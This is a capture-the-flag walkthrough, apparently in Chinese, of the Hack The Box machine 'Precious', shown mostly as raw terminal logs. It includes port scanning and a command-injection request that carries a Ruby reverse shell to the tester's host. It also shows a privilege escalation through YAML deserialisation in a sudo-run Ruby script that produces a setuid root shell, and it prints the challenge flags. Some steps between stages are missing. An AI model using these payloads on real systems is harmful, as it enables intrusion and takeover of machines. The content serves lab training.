┌──(kali㉿kali)-[~/桌面] └─$ ping 10.10.11.189 -c 4 PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data. 64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=392 ms 64 bytes from 10.10.11.189: icmp_seq=2 ttl=63 time=308 ms 64 bytes from 10.10.11.189: icmp_seq=3 ttl=63 time=297 ms 64 bytes from 10.10.11.189: icmp_seq=4 ttl=63 time=357 ms
--- 10.10.11.189 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3008ms rtt min/avg/max/mdev = 297.461/338.650/392.328/38.362 ms
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- -Pn --min-rate=10000 -oG allport 10.10.11.189 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-29 15:48 CST Nmap scan report for 10.10.11.189 Host is up (0.32s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 21.95 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sV -sC -p22,80 -Pn --min-rate=10000 10.10.11.189 Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-29 15:53 CST Nmap scan report for 10.10.11.189 Host is up (0.30s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA) | 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA) |_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://precious.htb/ |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.98 seconds
4、这里把获取的域名情况,做下hosts绑定
1 2 3
┌──(kali㉿kali)-[~/桌面] └─$ echo"10.10.11.189 precious.htb" | sudo tee -a /etc/hosts 10.10.11.189 precious.htb
┌──(kali㉿kali)-[~/桌面] └─$ gobuster dir -u http://precious.htb/ --wordlist=/usr/share/dirb/wordlists/common.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://precious.htb/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== Progress: 4614 / 4615 (99.98%) =============================================================== Finished ===============================================================
┌──(kali㉿kali)-[~/桌面] └─$ dirsearch -u http://precious.htb/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(kali㉿kali)-[~/桌面] └─$ curl 'precious.htb' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: precious.htb' -H 'Connection: keep-alive' -H 'Referer: precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.14.3%3A443%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.3%22%2C443%29%29%27%60' Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: <FILE>" to save to a file.
BUNDLED WITH 2.3.22 ruby@precious:/var/www/pdfapp$ cd pdf cd pdf ruby@precious:/var/www/pdfapp/pdf$ ls ls ruby@precious:/var/www/pdfapp/pdf$ cd ../ cd ../ ruby@precious:/var/www/pdfapp$ cd public cd public ruby@precious:/var/www/pdfapp/public$ ls ls images stylesheets ruby@precious:/var/www/pdfapp/public$ ls -la ls -la total 16 drwxr-xr-x 4 root ruby 4096 Oct 26 2022 . drwxr-xr-x 6 root root 4096 Oct 26 2022 .. drwxr-xr-x 2 root ruby 4096 Oct 26 2022 images drwxr-xr-x 2 root ruby 4096 Oct 26 2022 stylesheets ruby@precious:/var/www/pdfapp/public$ cd images cd images ruby@precious:/var/www/pdfapp/public/images$ ls ls ruby@precious:/var/www/pdfapp/public/images$ cd ../ cd ../ ruby@precious:/var/www/pdfapp/public$ cd stylesheets cd stylesheets ruby@precious:/var/www/pdfapp/public/stylesheets$ ls ls style.css ruby@precious:/var/www/pdfapp/public/stylesheets$ cd ../../ cd ../../ ruby@precious:/var/www/pdfapp$ cd ../ cd ../ ruby@precious:/var/www$ ls -la ls -la total 16 drwxr-xr-x 4 root root 4096 Oct 26 2022 . drwxr-xr-x 12 root root 4096 Oct 26 2022 .. drwxr-xr-x 2 root root 4096 Oct 26 2022 html drwxr-xr-x 6 root root 4096 Oct 26 2022 pdfapp ruby@precious:/var/www$ cd html cd html ruby@precious:/var/www/html$ ls -la ls -la total 12 drwxr-xr-x 2 root root 4096 Oct 26 2022 . drwxr-xr-x 4 root root 4096 Oct 26 2022 .. -rw-r--r-- 1 root root 612 Sep 26 2022 index.nginx-debian.html ruby@precious:/var/www/html$ cat index.nginx-debian.html cat index.nginx-debian.html <!DOCTYPE html> <html> <head> <title>Welcome to nginx!</title> <style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body> <h1>Welcome to nginx!</h1> <p>If you see this page, the nginx web server is successfully installed and working. Further configuration is required.</p>
<p>For online documentation and support please refer to <a href="http://nginx.org/">nginx.org</a>.<br/> Commercial support is available at <a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p> </body> </html> ruby@precious:/var/www/html$
ruby@precious:/var/www/html$ cd /etc/nginx/ cd /etc/nginx/ ruby@precious:/etc/nginx$ ls -la ls -la total 72 drwxr-xr-x 8 root root 4096 Nov 21 2022 . drwxr-xr-x 79 root root 4096 Dec 29 02:44 .. drwxr-xr-x 2 root root 4096 Oct 26 2022 conf.d -rw-r--r-- 1 root root 1125 May 29 2021 fastcgi.conf -rw-r--r-- 1 root root 1055 May 29 2021 fastcgi_params -rw-r--r-- 1 root root 2837 May 29 2021 koi-utf -rw-r--r-- 1 root root 2223 May 29 2021 koi-win -rw-r--r-- 1 root root 3957 May 29 2021 mime.types drwxr-xr-x 2 root root 4096 Oct 26 2022 modules-available drwxr-xr-x 2 root root 4096 Oct 26 2022 modules-enabled -rw-r--r-- 1 root root 1447 May 29 2021 nginx.conf -rw-r--r-- 1 root root 180 May 29 2021 proxy_params -rw-r--r-- 1 root root 636 May 29 2021 scgi_params drwxr-xr-x 2 root root 4096 Nov 21 2022 sites-available drwxr-xr-x 2 root root 4096 Oct 26 2022 sites-enabled drwxr-xr-x 2 root root 4096 Nov 21 2022 snippets -rw-r--r-- 1 root root 664 May 29 2021 uwsgi_params -rw-r--r-- 1 root root 3071 May 29 2021 win-utf ruby@precious:/etc/nginx$ cat nginx.conf cat nginx.conf user www-data; worker_processes auto; pid /run/nginx.pid; include /etc/nginx/modules-enabled/*.conf;
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. henry@precious:~$ ls user.txt henry@precious:~$ cat user.txt 149b5b288b64f28dba45240787cf62c9
0x02 系统权限获取
14、查看下sudo -l 的信息
1 2 3 4 5 6 7
henry@precious:~$ sudo -l Matching Defaults entries for henry on precious: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts "Installed version differs from the one specified in file: " + local_name else puts "Installed version is equals to the one specified in file: " + local_name end end end end henry@precious:~$
henry@precious:~$ cd /opt/ henry@precious:/opt$ ls sample update_dependencies.rb henry@precious:/opt$ ls -la total 16 drwxr-xr-x 3 root root 4096 Oct 26 2022 . drwxr-xr-x 18 root root 4096 Nov 21 2022 .. drwxr-xr-x 2 root root 4096 Oct 26 2022 sample -rwxr-xr-x 1 root root 848 Sep 25 2022 update_dependencies.rb henry@precious:/opt$ touch dependencies.yml touch: cannot touch'dependencies.yml': Permission denied henry@precious:/opt$ cd /tmp henry@precious:/tmp$ ls passenger.kCXMasI runtime-ruby systemd-private-53b6be14bf5c49bf890a413f1840c4c8-systemd-logind.service-FqYTxg vmware-root_401-1857883248 henry@precious:/tmp$ touch dependencies.yml henry@precious:/tmp$ vim dependencies.yml -bash: vim: command not found henry@precious:/tmp$ vi dependencies.yml henry@precious:/tmp$ sudo -l Matching Defaults entries for henry on precious: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb henry@precious:/tmp$ sudo ruby /opt/update_dependencies.rb sh: 1: reading: not found Traceback (most recent call last): 33: from /opt/update_dependencies.rb:17:in `<main>' 32: from /opt/update_dependencies.rb:10:in `list_from_file' 31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load' 30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby' 29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document' 25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence' 21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty' 20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each' 19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty' 18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept' 17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept' 16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit' 15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping' 14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive' 13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with' 12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with' 11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize' 10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements' 9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each' 8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from' 7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read' 6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG' 5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<' 4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write' 3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve' 2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<' 1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write' /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError) henry@precious:/tmp$ ls -la total 1256 drwxrwxrwt 11 root root 4096 Dec 29 04:32 . drwxr-xr-x 18 root root 4096 Nov 21 2022 .. -rw-r--r-- 1 henry henry 647 Dec 29 04:32 dependencies.yml drwxrwxrwt 2 root root 4096 Dec 29 02:44 .font-unix drwxrwxrwt 2 root root 4096 Dec 29 02:44 .ICE-unix drwxr-xr-x 5 root root 4096 Dec 29 03:44 passenger.kCXMasI drwx------ 2 ruby ruby 4096 Dec 29 02:59 runtime-ruby -rwsrwsrwx 1 root root 1234376 Dec 29 04:32 shiyan drwx------ 3 root root 4096 Dec 29 02:44 systemd-private-53b6be14bf5c49bf890a413f1840c4c8-systemd-logind.service-FqYTxg drwxrwxrwt 2 root root 4096 Dec 29 02:44 .Test-unix drwx------ 2 root root 4096 Dec 29 02:44 vmware-root_401-1857883248 drwxrwxrwt 2 root root 4096 Dec 29 02:44 .X11-unix drwxrwxrwt 2 root root 4096 Dec 29 02:44 .XIM-unix henry@precious:/tmp$ shiyan -p -bash: shiyan: command not found henry@precious:/tmp$ ./shiyan -p shiyan-5.1# id uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry) shiyan-5.1# cat /root/root.txt 68916c4ed77ad356f7217b51bb3b984f shiyan-5.1#